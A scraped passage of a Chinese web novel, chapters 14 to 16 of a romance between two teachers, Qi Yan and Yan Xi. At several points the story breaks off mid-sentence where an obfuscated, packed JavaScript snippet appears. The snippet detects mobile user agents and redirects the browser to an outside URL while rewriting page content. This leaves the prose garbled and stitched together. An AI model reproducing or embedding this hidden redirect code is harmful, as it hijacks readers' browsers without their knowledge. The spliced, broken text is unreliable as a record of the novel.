“林琰,你不是为了我,我也当过运动员,我知道每个月固定有几天是休息时间。”祁衍和他说句话,得缓好几口气:“我也知道,把别人当成自己的意志,不可能支撑一个人获得那么多成就,至于你为什么来找我,是滑雪队里有什么矛盾,或者是你又迷失了方向,又或者!” 祁衍叹了口气才说:“你是想转过头看看初心了,想透过我看看你以前的样子了,都行,你来都来了,你别提那些为了我的屁话,咱俩还能像朋友一样好好聊,其他我没什么好和你说的。” 林琰坐在他面前,面无表情看他,然后垂下了眼。 “我现在脑子只想着,下周一给学生开例会要讲什么,班里的成绩有没有提高。”祁衍一股脑说着:“没空想你这次又在闹什么脾气,也不想再去掰扯那些事儿了,上回我说的很清楚了。” 空气中长久沉默着。 林琰掀起眼皮,盯了祁衍很久才说:“祁衍,我太了解你了。” 祁衍没看林琰,只是下颌线绷紧了些。 “哥,当老师当上瘾了?”林琰笑了,他很少笑,每次笑的时候往往是为了哄祁衍,他往沙发那边挪了挪,等离祁衍很近的时候,才低声说:“有种你看着我说,你都放下了。” 祁衍眉心一皱,没说话。 下一秒,林琰闭眼,侧头凑了过来,在他耳边轻声说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到在滑野雪山出意外后,祁衍不得不退出国家队,明明伤病退出的是祁衍,但那年,林琰的情绪变得非常反复无常,比赛成绩也起伏很大,两个人开始无休止的争吵。 林琰每次吵架,总会揪着以前不放,祁衍不想和他吵,刚开始会哄他,后来累得一句话都不想说。 林琰生气了,就自己跑走,过几个月又回来,他虽然性子冷,但是会服软,会主动求原谅,会认真说自己错了。 祁衍面对林琰时,总是心软,即使林琰还是会无休止的情绪反复无常的发脾气,但每次只要他认真道歉了,祁衍还是会原谅。 直到半年前一次非常剧烈的争吵,林琰说了句特别狠的话,祁衍被扎的心都透了,第一次,他主动提了分手。 林琰可能觉得这次和原来的很多次都一样,两个人分开一段时间,只要林琰再回来,那就还能和祁衍在一起。 但在祁衍这儿不是,这次真分了,彻彻底底的。 “对不起哥。”林琰现在示弱已经很熟练了:“上次我不该那样说话。” 祁衍这几年都被林琰磨软了,他本来不是个好脾气的人,感觉这半辈子的好脾气都砸林琰身上了。 祁衍好像说再多,林琰都听不进去,他累得不想说话,没应他,直接回了卧室。 林琰在客厅看完了一部魂断蓝桥,电影声音放的很高,他在卧室锁着门都能听的清楚。 林琰是在后半夜走的,还是没留下钥匙。 祁衍躺床上,眼睛干涩又睡不着觉,手机在客厅,他去洗了个手,顺便去拿了手机。 这时候他才看见了未读消息和未接来电,都是燕习发来的。 祁衍愣了一秒。 消息是零点的时候发来的。 【到家了吗?】 未接来电是一点多打来的。 祁衍顿了几秒,笑了笑,难为燕老师了,在车上都困成那样了,还撑着给他发消息。 祁衍想着,给燕习回了个消息。 【不好意思燕老师,太累了,回来就忘了发消息这事儿了。】 燕习那边没有回应。 祁衍返回去躺下,又看群消息,才发现有同学把燕习拉进了他们的班级群。 到家的学生,在群里挨个发着“已到家。” 燕习每个都回复了:“收到。” 最后一条燕习的“收到”是一个小时前。 祁衍想了想,在班群里发送了个消息:“已到家。” 祁衍放下了手机,正要关灯睡觉的时候,手机屏消息亮了下。 【燕习:收到。】 祁衍顿了两秒,拿起手机再看,确认自己没看错,燕习在群里回复了自己,但是没回他私发的消息。 祁衍怀疑,燕习在群里没注意是他发的,所以才回了。 过了会儿,燕习似乎是意识到了什么,在祁衍对话框里回复了原本孤零零的消息。 【燕习:嗯,早点休息。】 祁衍不自觉笑了下,才关了灯,乏累感很快席卷全身,本来以为今晚入睡会很困难,没想到一会儿就睡着了。 14. 014 本来国庆这几天应该补课,但是教育局管得紧,学校愣是没钻上这个空,高三的学生也是满满当当放了七天。 祁衍自然也落了个清闲,国庆人流量太高,他懒得出去凑热闹,在家里卧着看了好几部电影,顺便叫开锁师傅上门换了个锁头。 开锁师傅给了他新的钥匙,祁衍从鞋柜上取下原来的钥匙,捏在手心里看了会儿,扔进了垃圾桶。 祁衍买了点儿东西,回家看了看老头和老太太。 老头老太太过的可滋润了,住的四合院,猫狗双全,保姆伺候着,后院还种了点儿菜。 祁衍进院儿时候,老太太正在浇花,老太太喜欢自己倒腾这些东西,家里放了不少插花瓶,里面的花都是老太太修剪的。 祁衍早说了今天要过来,一进门就闻见饭香了。 “哟,回来了祁老师。”老太太快七十的身体了,还是特硬朗,往阳光底下一站,容光焕发的。 祁衍放下了买的东西。 楚老太太和他家老头,以前都是军队里的,说句话也端着架子:“来了还带什么东西。” 祁衍笑了:“给人朱叔带的,没你俩份儿。” 朱叔是祁家的司机,跟了老头老太太大半辈子了,就在旁边那户住着,两家人处的不错。 “算了,你啊知道回来就行。”楚妈妈放下了水壶:“真是有了学生就忘了亲娘,暑假隔三差五往家跑,一开学人影儿都逮不着。” 祁衍知道老太太是打趣他,但祁衍也乐意哄,过去半搂着人往里走:“您别寒碜我了,老头呢?” “怎么着,还得在家迎接你?”楚老太太说。 “那不敢。”祁衍笑着说。 楚老太太说:“一大早出门遛弯儿去了,估计被叫走下棋了。” 祁衍乐呵呵说:“您进去等着,我去给人叫回来,然后吃饭。” 祁衍溜达着出去,给老头逮了回来,倒是没下棋,但是伸着头往里看呢,估计是在等着排队下棋。 朱叔也陪着他爸一起呢,祁衍给人也叫了过去吃饭。 这顿饭吃得热热乎乎的,祁衍照常和父母汇报着近况。 饭吃一半的时候,也可能是因为朱叔在,两口子之前不敢问,现在总算有了问的机会。 他爸妈拐了个弯,让朱叔开了口。 “小祁,那现在你这朋友还处着呢?” 祁衍扒拉了口饭,看了老两口一眼,故意问:“什么朋友?” “就是你那相好。”朱叔抬抬下巴,也没摆明面上说。 桌上一圈人都直勾勾盯着他呢。 祁衍是和林琰在一起后,才和家里出的柜,其实他高中的时候就隐隐约约发觉性取向了,但是一直没敢往那里想,后来和林琰在一起,确认了性取向,才告诉了爸妈。 祁衍挺心疼老两口的,祁衍是试管,父母的老来子,也是老祁家的独苗,从小,祁衍几乎是含着金汤匙长大的,但正是因为小时候被惯坏了,所以十几岁的时候闯了不少祸,但他爸妈从不怪他,还跟在他背后擦屁股。 老两口都是从部队里当官下来的,思想比较古板,祁衍知道他们可能接受不了自己的性取向,当时告诉老头的时候,老头和老太太对视一眼,沉默了很久,桌上一顿饭没人再动过。 老头眼睛最后都憋红了,也没舍得说祁衍一句不是,最后自己去院子后面翻土种菜了。 再然后,老头和老太太也没提过这一茬,祁衍总觉得对不起他们。 林琰的事儿,他爸妈是知道的,这几年还偶尔会从祁衍那里探探口风,问问俩人感情怎么样。 他和林琰的感情太不稳定了,这几年说不上是在没在一起,祁衍每次不乐意说,就应付几句。 但现在俩人实实在在分手了,也该给父母个交代了。 “我和林琰去年就分了。”祁衍笑笑,很坦然说:“没可能了。” 父母对视一眼,叹了口气。 朱叔说:“怎么就断了?处的不行?” 祁衍摇头,笑了:“不是,各自有各自的生活了,不在一个节奏上,没时间处。” 祁衍说到这儿,几个人对视一眼,也没再问。 “前几天。”楚老太太突然出声:“你邢叔叔那边介绍了个人,部队里的军长,明年退伍。” 祁衍表情复杂,无奈笑了笑。 老头咳嗽了声。 “知道你挑,我先看过照片了,长得挺标志的。”祁妈赶快翻出照片给祁衍看:“你看看,要不去见一面?” 他爸妈难得把人送他眼前,祁衍就算是真没那个意思,也分了个眼神过去,照片里的男人穿着军装,长得还行,挺周正。 “这比我小吧。”祁衍靠回椅子上。 “好像是小个两岁。” 祁衍拿了根黄瓜啃着:“我不喜欢比我小的,处得麻烦。” 这是实话,祁衍以前确实喜欢年轻的,现在不是,一想起对方年纪比他小,祁衍脑子里就会先出现一堆幼稚且无解的矛盾,还要引导着对方怎么解决问题,怎么互相了解。 有一半是受林琰的影响吧,反正祁衍不想再摊上一个心智不成熟的,虽说他也没成熟到哪里,但对方至少要懂事儿贴心。 两口子对视一眼说:“我们以为你喜欢年轻的。” 祁衍笑了:“那是以前,现在嫌麻烦。” “行吧。”楚妈妈叹了口气,和老头对视了一眼。 祁衍觉得这俩老小孩儿真是可爱的不行,他这几年和林琰处的不愉快,每次他爸妈问起来,祁衍都是转移话题。 这次看老人家都把人送他眼前了,对于他爸妈这俩老古板,可太不容易了,祁衍都没办法糊弄他们了。 他放下筷子,搓了搓手说:“爸妈,我呢,现在确实是一个人,和林琰那边分了之后,目前也没准备好开始下一段感情,我和林琰谈这么久了,谈的挺闹腾的,心里都造的空落落的,暂时没劲儿去谈。” 两口对视一眼。 “好啦,我自己一个人现在过得也挺好的,以后的事儿以后再说。”祁衍说。 祁衍在他爸妈那里住了一晚上,当天晚上的时候,崔主任那边给祁衍发了个消息,大概就是问了问燕老师和学生的相处情况。 六班现在还是俩班主任呢,祁衍其实一直惦记着这事儿,校长那边说是让燕老师先了解一个月班级,最后这班主任的位置,估计就是燕老师的了。 眼瞅着进十月份了,估摸着政教处那边也有了决定了,崔主任今儿问了他一嘴,这个假期开学,祁衍这班主任估计也就卸任了。 国庆那顿饭,在祁衍这儿,不仅是燕习的迎新宴,其实也算祁衍的欢送宴了。 祁衍想着,手肘放在眼睛上方叹了口气。 他其实挺放心燕习的,燕习太细致了,和学生的相处里,这才一个月就能把学生都摸个差不多,不仅是学习上,生活上也是。 就是,往心里去,他还是不舒服。 放在旁边的手机隔一会儿亮一下,祁衍捞起手机一看,是骑行的群,问四号有没有人去骑行。 祁衍心情有点儿闷,就报了个名字上去,打算跟着队伍上山散散心。 骑行安排在四号早上,祁衍一大早就收拾好东西,和队伍汇合后,分批次走的。 这个骑行群,是祁衍从大学开始就组的,几百号人了,祁衍也不可能每个人都叫上名字,但看见了基本都能对上脸,知道是这个群里的人。 国庆这次去的人比较多,祁衍被分到了三组,他们绕湖边上山的路线,骑了几个小时后,几个人在湖边休息。 祁衍擦了擦汗,拿过水杯喝着水,有人扔给他块儿巧克力。 祁衍朝他笑了笑:“谢了。” “欸,祁衍?我才看见你也在。”祁衍旁边多了个人,摘了墨镜说:“好久没见你了,今儿怎么来玩儿了。” 祁衍其实都没太对上脸,笑了笑:“工作忙,这不放假嘛,天气好,出来转转。” “行。”那人很顺口说:“小林呢?今儿也来了?” 祁衍愣了一秒,嘴扯着笑了下:“……没有。” “他最近忙啊?” 祁衍这时候才把这人和名字对上号,这人叫顾培,和祁衍一个大学的,之前祁衍和林琰还在一起的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563437|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起骑行的队伍里经常有他,有次林琰脚扭了,就是这人过来帮他们捏了捏,还给了他们冰袋让林琰敷着。 “你们俩。”顾培当时估计就看出俩人关系了,他表情顿了下笑了笑:“还好吗?” 祁衍蹲在花台上,手上玩儿着块石头,他有点儿后悔今儿出来这一趟了,没想到来到这儿还能听见林琰的名字。 祁衍笑了笑:“我俩没联系了。” 顾培讪笑了几声:“啊,这样。” 索性顾培也是个聪明的,祁衍这话一说出口,顾培也没再提林琰,反而和祁衍分享了不少骑行路线,还和祁衍讲了讲他这几年去哪玩儿了,又问了祁衍的近况。 之后聊的倒是不错,俩人骑了一天,有空了就聊几句,俩人性子都不是冷的,很容易就熟络起来了。 下午出山的时候,天一下凉了,中午还快三十度,到晚上猛降十几度,祁衍忘看群里提醒天气的消息了,就穿了个骑行服,什么衣服都没带。 骑行服一上午早汗湿了,祁衍从山里出来,气温降下来,一路上给他冷够呛,当天晚上回去就重感冒了。 喝了药,头昏昏沉沉的睡了一晚上也没什么好转,擤鼻涕还把鼻子捏红了。 第二天开学,祁衍喜提小丑鼻去了学校,他戴了个口罩。 他这不是流感,不会传染,戴口罩只是单纯不想露出小丑鼻。 祁衍去了班里,学生挺关心他,比感冒灵贴心,中午曹晨说自己抢饭一把手,学生食堂有个馄饨特别好吃,热乎乎给祁衍打包了一份。 祁衍说句话鼻音重,嗓子也干疼,能不说就不说,只给他比着赞。 他这样,下午是肯定没办法给特长生训练了,让其他体育老师给他带了一节课。 但祁衍事儿还没完,下午校长给他和燕习叫到了办公室,果不其然,就是说班主任这个事儿。 校长先是问燕习有没有熟悉环境,再问燕习接下来有什么教育方案。 校长问燕习第一个问题的时候。 祁衍余光瞥见,燕习往他这边看了眼。 燕习回答的很流畅,包括对六班的整体结构认知,怎么提高成绩,以及对学生的心理培养都说到位了,还着重分析了几个特别的学生。 祁衍在旁边听着,不知道是不是办公室没通风,再加上喝了感冒药的原因,坐得脑袋发懵,困得不行。 校长最后才提到了祁衍,问他和燕习的交接工作做的怎么样。 口罩下,祁衍抿了抿嘴,纸巾擦鼻子擦的人中疼,一抿有点儿火辣辣的。 祁衍在旁边坐直了些,好让说话的气能出来点儿。 “我挺放心燕老师的。”祁衍最后就说了一句话。 一出声,嗓子是哑的,鼻子是憋的,祁衍自己听了都觉得狼狈得可怜。 “哟,病成这样了。”校长都吓一跳:“去医院看了没有。” 燕习也侧头看他。 祁衍指了指嗓子,不想说话,就点了点头。 “正好燕老师接上你的班,你这几天好好休息。”校长说。 祁衍没说话。 之后校长还在和燕习交流了下最近学校里的一些事儿,中间还非时不时看祁衍一眼,像寻求认同一样,问一句:“是不是啊祁老师。” 祁衍闭眼点头,最后也不管说了什么,就在那里垂着眼,玩儿着卫衣上的抽绳。 重感冒,让祁衍整个人脸色看起来特别差,眼尾还泛红,是被鼻酸逼出来的。 他手指勾着卫衣带,不知道什么时候才能结束,校长每次找老师单独开会,不说够一个小时不会放人走。 祁衍本来都打算在这儿认命待一个多小时了,突然旁边的男人转了个话头。 “校长,我们今天就到这里吧,之后六班的交接工作,我想和祁老师再聊一下细节。”燕老师语气平静。 “也行,那今儿就到这儿。”校长说。 祁衍后半程基本不知道俩人在聊什么,听到这一句,眼皮一抬,刚好对上燕习的视线。 燕习看他一眼,然后转身走了。 祁衍赶快也站起来,跟后面离开了。 15. 015 祁衍跟在燕习后面,下着楼梯。 “学生那边都知道了?”燕习在前面说。 祁衍两步和燕习并肩才开口:“还没,晚上有班会,到时候说吧。” 燕习蹙眉,转头看他。 祁衍和他对视上,笑了笑:“没事儿,他们不会像刚开学一样有什么意见的,顶多就是心里难受两天,到时候还得燕老师多开导开导。” 燕习扭过头:“我不会开导人。” 祁衍轻挑眉。 “你来。”燕习说。 祁衍笑了:“也行。” 快到办公室的时候,燕习叫住了他:“我这里还缺一些学生的一些纸质材料。” 祁衍点点头:“在我办公室,跟我来。” 燕习跟着祁衍去了他办公室,祁衍在书架上找着文件,祁衍给他倒了杯水,让他先坐着等会儿。 祁衍从刚才从校长那里出来,就一直在闷闷咳嗽,找到文件之后,给了燕习。 燕习拿过文件,盯着他眉头紧锁。 “吃药了吗?” 祁衍难得看见燕习关心人,倒了杯水喝了口:“吃了,没什么用,受凉了才感冒的,得慢慢好。” 祁衍要喝水,就得摘口罩,他看了燕习一眼,还是摘了。 燕习看到他的鼻子,眉头皱的更深了。 “是不是有点丑。”没了口罩,祁衍声音不闷了,但显得鼻音更重了,他还笑着。 燕习轻轻叹了口气,放下了文件。 “你应该去挂个吊瓶。”燕习说。 祁衍摆手:“用不着,我就是穿少了,晚上还有晚自习,更何况还有班会呢,我得在。” “我来上。”燕习几乎是脱口而出。 祁衍喝了口水:“可不行,班主任这事儿,我得自己和他们解释,要不然学生真以为我不要他们了,国庆才一起吃了饭,结果今儿就尥蹶子不干了,学生得生我气,不知道还以为散伙宴呢。” 说完祁衍自顾自笑了会儿,可不就是散伙宴吗…… 燕习没什么表情看着祁衍。 祁衍莫名感觉自己脸都在发红,眼睛也烫。 他不乐意燕习看见自己这样,班主任这事儿不赖他,祁衍确实心里不舒服,但也不会给燕习甩脸色。 “我这儿还挺忙的。”祁衍平时挺体面一个人,难得话题转这么生硬:“那我就不送了燕老师。” 燕习沉默了会儿,才站了起来,最后又说了句:“明天你还是请假去医院看看吧。” “行行行。”祁衍笑着应他,等燕习离开了,笑容才收了起来。 他抬手摸了摸额头,用力一闭眼往椅子上一瘫,得了,尴尬得脑子都烧起来了。 祁衍其实不太忙,专长生那里有人替他看,祁衍去了趟医务室,买了退烧药吃了,又去办公室沙发上趴了会儿,才感觉脑子没那么发沉。 但是咳嗽更严重了,祁衍觉得这是要好了,咳嗽是在排毒,咳嗽好了,就没事儿了。 想到这儿祁衍心里才舒坦了些,口罩外面又加了层口罩,去了教室。 到的时候,燕习已经在班里了,似乎已经待很久了,教室里有学生在问燕习题。 燕习手上写着草稿,给学生解答着。 学生偶尔点点头,讲完题,和燕习说了声谢谢,燕习也朝他浅浅笑了笑,学生才下了台。 祁衍在窗外看了会儿,才抬步进了教室。 班里学生都在上自习,祁衍一进门,就曹晨还有几个活跃的和他搭话。 问祁衍怎么一天下来,还多了层防护罩。 祁衍咳嗽了两声,扯了扯自己的口罩:“排毒呢。” 祁衍和燕习对视了一眼。 燕习朝他点点头。 祁衍拍手示意学生抬头,劲儿使大了,手心发麻,他放进口袋里搓了搓手心。 学生都抬头盯着他,有人问他感冒好点儿了吗。 “好多了,吃药了。”祁衍答复完才说接下来的内容,他说的很简略,也划分了主要责任人,他向来不骗学生,是怎么样就是怎么样。 校长那边,老师那边,还有家长那边,各方面协调,决定让燕习在高三一年当他们六班的班主任。 这话一说完,学生都提口气,来回面面相觑。 祁衍之后又着重说了下,自己确实高三忙,要带体育特长生,又夸了燕老师能力出众能带好班级,最后又说自己还是他们六班的后盾,还是会经常来看他们有没有好好学习。 “我也算副班主任吧?”祁衍笑着问燕习。 燕习垂眼,点了点头。 “燕老师点头了啊。”祁衍说。 学生还是闷闷不乐。 燕习抬眼说:“我算是帮祁老师带你们最后一年,祁老师很忙,我帮他分担一点。” 学生这才脸色好了些。 “得了,燕老师都说到这份儿上了。”祁衍说:“你们是忘了国庆放假怎么灌的人燕老师吧?” 提到这事儿,班里学生才小声笑了笑。 “就不能有俩班主任吗?”曹晨口直心快说:“我舍不得祁哥。” 祁衍没出声。 班里的人都在等祁衍回答。 “相当于是两个班主任,没区别。”燕习淡淡接过话说:“谁的话都得听,感觉不太美妙。” 祁衍抬了抬唇角。 学生都摇头笑了:“不会不会。” 余光,祁衍感觉有闪光灯晃了他一下。 他蹙眉抬眼:“干嘛呢,偷拍就偷拍,还开闪光灯。” “嘻嘻。”女生笑了笑:“这么帅的班主任,还一次有俩,我可要晒一晒。” “不行,我也要拍!”陈宇然欸了声:“咱是不是还没大合照啊?国庆吃饭忘拍了,今儿补上呗。” 顾沁是班长,起来组织:“好!正好高三还没拍过合照,算是高三第一张!” “拍拍拍!”曹晨拍桌子说。 学生也都嚷着要拍。 祁衍见学生兴致高涨,自己也高兴,扯了下燕习袖子说:“拍一个呗燕老师。” 燕习轻挑眉,学生都在等着他回答。 “好。”燕习抬了抬唇角说。 学生时期,枯燥乏味的学习里,什么都能勾起兴奋的劲儿,尤其是这种合照留影的环节这,照片在以后,可都是实实在在的回忆物件。 学生聚上了讲台,祁衍之前给学生排过专门的拍照站位,学生很快就站好了,都在整理着头发。 祁衍顺手拉起燕习的手腕,扯着他去了后排。 燕习愣了一秒,然后蹙起了眉。 祁衍转头看见燕习的表情,才发觉自己还拉着他手腕,他赶快放下,陪笑了几声:“抓顺手了。” 下一秒,祁衍感觉脑门传来一片冰凉,他下意识缩了下。 燕习手顿了下,收回手,蹙眉很认真说:“祁衍,你在发烧。” “欸,别让学生听见。”祁衍压低声说:“我喝药了,没事儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563438|171424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕习还是蹙眉。 学生让祁衍摘了口罩,祁衍这时候才想起自己的小丑鼻,他犹豫了会儿,还是摘了,毕竟要拍照,戴口罩没必要。 一摘口罩,还是曹晨先发现的。 “嚯,祁哥你这鼻子可怜的。” 学生都朝后看。 祁衍很大方笑了笑:“也算是特别的回忆吧,帅气的新班主任,和重感冒的前任。” 祁衍顿了一秒,察觉到话里意思不对,但学生都没觉得什么。 祁衍心里发虚,在燕习耳边填补了句:“前任班主任。” 燕习从刚才起表情就不太好。 “燕老师,你不想和我们六班第一张照片冷着脸吧?”祁衍肩膀碰了他一下说。 燕习没出声。 学生在那里架好手机准备拍照了。 祁衍突然出现在燕习眼前,他下意识蹙眉往后躲了下。 “看我鼻子。”祁衍努了下鼻子:“像不像小丑鼻。” 燕习看着他,沉默两秒,嘴角抽搐了下说:“无聊。” 祁衍眯眼笑了,站好,很顺手把手放在了燕习肩膀。 虽说燕习比祁衍高,但是祁衍这样松散站着,手架在燕习肩膀上也丝毫没有违和感。 镜头里,祁衍手架燕习肩膀,燕习倾斜了点身子,像是让搭肩的人姿势更舒服一点。 “燕老师,比个六。”学生转头和燕习说。 “这是我们六班的传统。”祁衍晃了晃手里的六。 燕习扫过学生,表情有些不自然。 祁衍勾着唇角,正看好戏,燕习这人一看就是那种冷冰冰带点儿装的理工男,拍照这种东西,从小到大估计一双手的能数清,姿势估计就是大同小异往那里一杵。 当燕习手略显僵硬在身前比出个“六”的时候,祁衍没绷住,笑了声,但好在被学生的喧嚷声盖过去了。 拍完照,祁衍手从燕习身上拿下来,突然在耳边听见燕习声音微扬问了句:“很好笑?” 听着颇有点儿威胁的口吻。 祁衍绷了下嘴角,赶快摇了摇头。 燕习这才收回了视线。 燕习说自己晚上看自习,让祁衍回去休息,祁衍也没和他客气,直接就回去了。 祁衍这重感冒来的挺奇怪,发烧也奇怪,一会儿一阵,祁衍一个人,懒得去医院折腾,就打算吃了退烧药,闷着被子睡一觉。 睡觉之前,他感觉烧退了点儿,结果没想到过了会儿,又烧了起来。 祁衍是在十点多时候,收到了燕习的消息。 【燕习:已下自习,学生已回宿舍。】 祁衍烧的头昏脑涨,给燕习回复了个“OK” 他刚发过去,手机屏幕都没熄灭,一闭眼就感觉要再烧晕过去,祁衍潜意识里觉得不对劲儿,打电话打算叫人来带他去医院。 他摸过手机,视线模糊,看见手机上闪烁着个人名,还没等看清,已经下意识接了电话。 祁衍有点儿烧懵了,还没等对面说话,他先开了口。 “我得去医院。” 电话那边沉默着,祁衍手机盖在耳边,听见了脚步声,关门声,还有跑步时候急促的呼吸声,声音低沉在他耳边喘着。 祁衍舔了舔干燥的嘴唇。 “你家在哪?”电话那边的人呼吸有点儿不稳,祁衍都没听出来是谁。 祁衍模糊报了个名字,他烧得昏昏沉沉,听见电话那边的人让他别挂电话。 16. 016 之后祁衍就什么都不知道了,再有意识的时候,他已经在病房里了,床头亮了一盏小灯,窗帘露出条小缝,能看出外面还是黑夜。 祁衍眼睛强撑着睁开,头还是疼不行,他一喘气,下意识就闷闷咳嗽了几声。 旁边传来了衣服摩擦的声音。 祁衍愣了一秒,转头看,才发现了病房里的燕习,他椅子上起来,走了过来。 祁衍神色发愣看着他,开口连话都说不出来。 不是,燕习怎么在这儿。 祁衍想起了自己烧糊涂的时候接的那通电话,是燕习打来的? “你……”祁衍一开口嗓子疼得皱眉。 “别说话。”燕习声音听起来有点儿冷。 燕习给他倒了杯水,放在了他唇边。 祁衍下意识想撑起上半身。 燕习蹙眉盯他,冷冷吐出一个字:“手。” 祁衍这才发现手上还挂着针。 燕习手往前去了去,右手揽过祁衍后脑勺,温厚的手掌揽着他头,就那样祁衍喝了几口水。 燕习手撤下来的时候,祁衍脖子有点痒。 祁衍很佩服自己,竟然能从燕习的面无表情中感知到,他现在情绪很差。 燕习看了眼他吊瓶,把吊水速度调慢了些。 燕习不让他说话,祁衍只能打字给他,没针头的那只手拿过枕头旁边的手机,打了几个字,举着手机。 【麻烦燕老师了,谢谢你带我来医院。】 燕习没什么表情看着那一行字,又看了看祁衍,紧蹙的眉心动了动,似乎是想说什么。 祁衍朝他笑了下,他脸发白,偏偏眼尾是红的,嘴唇干燥地开裂,眼睫毛长长的,眼底烧的红血丝遍布。 燕习盯着他看了几秒,叹了口气说:“睡吧。” 然后燕习重新回了沙发上休息。 祁衍这个角度能看见燕习半靠在沙发上,微微闭上了眼睛,沙发太小了,燕习躺不下,只能那么坐靠着。 祁衍放在身侧扎着针眼的手,手指微微动了下,盯着天花板看了好一会儿,才又脑袋发沉睡着了。 晚上祁衍又换了几次药,中间他迷迷糊糊睁开眼,能看见燕习晃得发亮的白衬衫,在昏黄的灯下,衬得整个人都是柔和的。 燕习低声,声音发沉从耳后传来:“他的情况需要再观察几天?” “退烧了就行,明天看情况,没什么大事儿就能出院了。” 翌日一大早,祁衍醒的时候,发现燕习已经离开了,这个时间应该是去学校上早自习了。 祁衍摁了铃,护士过来,给他重新挂上了吊瓶,说是这瓶挂完就能走了。 祁衍也是这时候才知道自己是轻微肺炎。 “肺炎?”祁衍都愣了。 护士换着吊瓶:“对啊,你朋友没和你说?昨晚烧的还挺严重,幸亏是早送过来了,要是烧再烧几天,肺炎加重……” 护士停了下话。 对话里面这种最能勾人,祁衍还特配合,顺着话头又问她:“怎么着?” “这么说吧,上个月科室接了个从日本回来的,本来症状是重感冒还能治,结果硬是在日本拖成了重度肺炎,没办法了,回国治,来了我们医院,从进病房到重症监护室不出三天。”护士给他比了个三。 祁衍倒吸口冷气。 护士吓唬了他一阵,一溜烟走了。 祁衍可不是吓大的。 他去拿药的时候,提了满满两兜子,药房的医生头回见一个感冒,拿这么多药的。 “你不是黄牛吧?倒药的?”医生来回打量他说。 祁衍说:“惜命。” 祁衍烧是退了,就是还有点儿咳嗽,头不晕了倒是,他快傍晚到了学校。 燕习还在班里上课,离下课还剩十几分钟,祁衍直接去了班级门口堵他。 燕习是下课出来,在走廊看见的祁衍。 祁衍在医院待了一天,回去换了件衣服,白色的长袖卫衣和浅色牛仔裤,往栏杆边一站,如果不是因为没穿校服,还真能混进人群里。 “祁哥!燕哥说你请假了,感冒好点儿了?”顾沁问。 祁衍笑了笑,扭头先和燕习对视了一眼才说:“好多了,你们赶快去吃饭吧。” “好,祁哥你注意身体。”顾沁又说了句,才和燕习和祁衍摆摆手下了楼梯。 燕习走了过来,停在祁衍面前。 “好多了。”祁衍笑着说:“我没想到能烧成那样,早知道昨晚回去就去医院了,还麻烦燕老师来一趟,谢谢了。” 燕习没说话,镜框下,男人的眼皮抬了抬,又垂下,始终没什么表情。 “上次说好一起吃饭,也一直没时间。”祁衍笑着说:“要不就这周六?到时候我去接你。” 走廊还有很多学生喧嚷而过的吵闹声,栏杆下,学生都在往食堂的方向赶。 燕习走近了一步,离祁衍半寸距离的时候,停下了步子:“祁衍,我不知道你在撑什么。” 祁衍愣了一秒。 “有什么好撑的?”燕习眉心微微蹙了起来。 祁衍刚要开口:“我……” “我和你不算熟。”燕习第一次,用这么冷的语气和祁衍说话。 祁衍都给哽住了。 燕习眉心蹙更紧了些:“我没什么理由指责你,毕竟我们只是同事。” 祁衍眼底顿了一秒,只是同事? 其实也不一定,祁衍和燕习相处这一个多月,挺喜欢燕习这号人的,能力强就不用说了,这人还很可靠,给人种很踏实的感觉。 祁衍之前带六班挺浮躁的,校长一直说他,是猴王带了一群小猴。 这个月开完大会,崔主任有次和他聊天,说他们班这周违纪次数少了一半,还说有燕习在,六班稳了很多,没那么飘了。 也可能是因为燕习本身的气质,总会给周围的人一种沉稳可靠的感觉,会不自觉让人心静下来。 祁衍也不得不承认,燕习的到来,不仅让六班心沉下来了,也让祁衍也稳了不少。 “但我出于同事的立场,以及作为六班另一位班主任,对于你昨天的做法,我不认同。”燕习语气仍旧冰冷。 祁衍心里有点儿说不出的感觉,他其实听明白燕习在说什么,也没觉得燕习是在多管闲事。 燕习这人足够谨慎,提前标明身份,又说得很清楚,我说这些你可以听也可以不听,但我还是要说,因为我看不惯你的做法。 “想说什么随便说,我又没说不听,而且我们也不只算同事吧。”祁衍笑了笑:“我拿燕老师当朋友,燕老师拿我当同事?” 燕习看着他,没理祁衍的话,再开口明显更冷硬了:“去医院很难吗?祁老师是不知道路还是怎么着。” “不难不难。”祁衍赶快说,说完他还有点儿想要笑:“知道路,知道路。” 祁衍其实一贯行事作风就这样,以前在队里是队长,凡事是队里为重,后来是班主任,班里为重。 这种感冒发烧的小病,祁衍完全不在意,每次就想着应付过去就行,他身体素质好,好得快。 以前不管是教练还是校长,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 